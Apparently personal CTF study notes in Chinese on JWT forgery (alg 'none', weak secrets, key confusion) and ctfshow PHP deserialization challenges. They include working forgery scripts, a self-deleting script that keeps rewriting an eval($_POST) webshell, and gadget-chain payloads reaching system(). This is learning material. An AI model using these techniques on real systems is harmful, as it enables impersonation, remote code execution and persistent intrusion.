4月
jwt
[JWT — JWT原理解析及实际使用[通俗易懂] - 腾讯云开发者社区-腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/2148676#:~:text=nbf%3A 定义在什么时间之前,该jwt都是不可用的.,iat%3A jwt的签发时间)
1 无签名的 实际遇不见
alg值为None 为无签名
JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。
设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。
{"alg":"None","typ":"jwt"}
2
{"alg":"None","typ":"JWT"} {"iss":"admin","iat":1680614161,"exp":1680621361,"nbf":1680614161,"sub":"admin","jti":"d87417a2307b7cba717e08e73f652fe9"}
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0=.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDYxNDE2MSwiZXhwIjoxNjgwNjIxMzYxLCJuYmYiOjE2ODA2MTQxNjEsInN1YiI6ImFkbWluIiwianRpIjoiZDg3NDE3YTIzMDdiN2NiYTcxN2UwOGU3M2Y2NTJmZTkifQ==
python的jwt伪造脚本(需要导入jwt 和 PYJWT两个模块):
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1609236870,
"exp": 1609244070,
"nbf": 1609236870,
"sub": "admin",
"jti": "943d0b3237806659d2e205e42b319494"
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)
print(jwt_token)
3
弱口令密钥 123456
https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDYxNTYzMSwiZXhwIjoxNjgwNjIyODMxLCJuYmYiOjE2ODA2MTU2MzEsInN1YiI6ImFkbWluIiwianRpIjoiYzQzYzA4YzZhOGMxOThmODEwZjE5N2JkMmVjMmQ5MzMifQ.9XfwJUSWEf7LRpO4xh4jpFKdBG8dvVRLs-SmV5uRoGc
4
若口令爆破:./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDYxNTgxMSwiZXhwIjoxNjgwNjIzMDExLCJuYmYiOjE2ODA2MTU4MTEsInN1YiI6InVzZXIiLCJqdGkiOiIzMGZmOTlmNTI4YTIyM2U0YTE3YmUzMWY2MzgyNDkyOSJ9.so2OgF5ISIXpUlaeQssRndS6AORsZtMdhdpWsIw8df4
Secret is "aaab"
5
非对称加密:
总之还是要私密钥
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
6
此攻击的原因是某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。
通过将算法调整为HMAC变体(HS256/HS384/HS512)并使用公共可用公钥对其进行签名,我们可以欺骗服务使用机密变量中的硬编码公钥验证HMAC令牌
私钥改公钥:
将HS256改为RS256 因为HS256是对称 RS256是非对称 主要还是服务器端问题
用node.js公钥生成jwt
// yu22x师傅
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
权限维持
1
内存马:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
<?php
ignore_user_abort(true); // 如果设置为 true,则忽略与用户的断开
set_time_limit(0); //最大的执行时间,单位为秒。如果设置为0(零),没有时间方面的限制。
unlink(__FILE__); //删除文件
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
echo __FILE__ ; // 取得当前文件的绝对地址,结果:D:\www\test.php
echo dirname(__FILE__); // 取得当前文件所在的绝对目录,结果:D:\www\
echo dirname(dirname(__FILE__)); //取得当前文件的上一层目录名,结果:D:\
愚人杯
反序列化:
$a = new $this->coos($this->file);
coos和file都是可控的,所以可以利用php原生类来读取文件
<?php
$dir=new GlobIterator("/*");
echo $dir;
可以输出bin 查文件的原生类
SplFileObject 看文件内容的原生类 还可以结合php伪协议打
php://filter/convert.base64-encode/resource=h1nt.txt
h1nt.txt
一,利用eval去RCE 需要考虑加解密 //密码为 fe1ka1ele1efp
import requests
url = "http://7bb22d4b-21fe-45fd-a15d-2378b199d070.challenge.ctf.show/"
re1 = requests.get(url).status_code
if re1 != 200:
print("fail")
mi = ['i6xstx6d6x6ir','u5zarz5s5z5ue','y4lpel4a4l4yw','sqnhonqjqnqsi','dwmjpmwkwmwdo','fe1ka1ele1efp']
headers = {"AAAAAA":'O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":4:{s:4:"name";N;s:4:"file";s:4:"flag";s:4:"coos";r:1;s:4:"eeee";s:3:"-_-";}s:3:"key";N;s:4:"file";s:11:"/etc/passwd";}'}
data = {"eval":"phpinfo();"}
for i in mi:
url = f"http://7bb22d4b-21fe-45fd-a15d-2378b199d070.challenge.ctf.show/?get={i}"
re2 = requests.post(url,data=data,headers=headers)
print(i)
print(re2.text)
二,文件读取
<?php
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
public $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$a = new w_wuw_w();
$b = new gBoBg();
$a->aaa = $b;
$b->name = "file";
$b->coos = "SplFileObject";
$b->file = "/f1agaaa";
echo serialize($a);
check.php:
function cipher($str) {
if(strlen($str)>10000){
exit(-1);
}
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";
for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);
if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}
return $shifted;
}
类内变量赋值相等(当时这样想过,但是没有成功,后来发现需要这样写)
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$a=new w_wuw_w();
$a->aaa=&$a->key; //这里要用 &
$a->file="check.php";
//序列化a的结果
//O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:9:"check.php";}
easy_php 反序列化利用原生类
不能传入以O和a开头的序列化值,也就是对象和数组的序列化值.
在php低版本中,O或a的冒号后的数字前可以加一个+来进行绕过。但这个题目的版本是7.3无法绕过
将0替换为C来绕过 但是题目中的ctfshow类未实现serializable接口,所以不能解析该属性。所以找php中内置的实现了Serializable接口的类
wp使用了ArrayObject()类,使用这个类去修饰ctfshow类

可以发现wakeup与destruct是不冲突的,wakeup里的die不影响destruct
<?php
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$a = new ArrayObject();
$b = new ctfshow();
$a->a = $b; //a为ArrayObject的属性 a可以为任意变量 比如 $a->b
$b->ctfshow = "whoami";
echo serialize($a);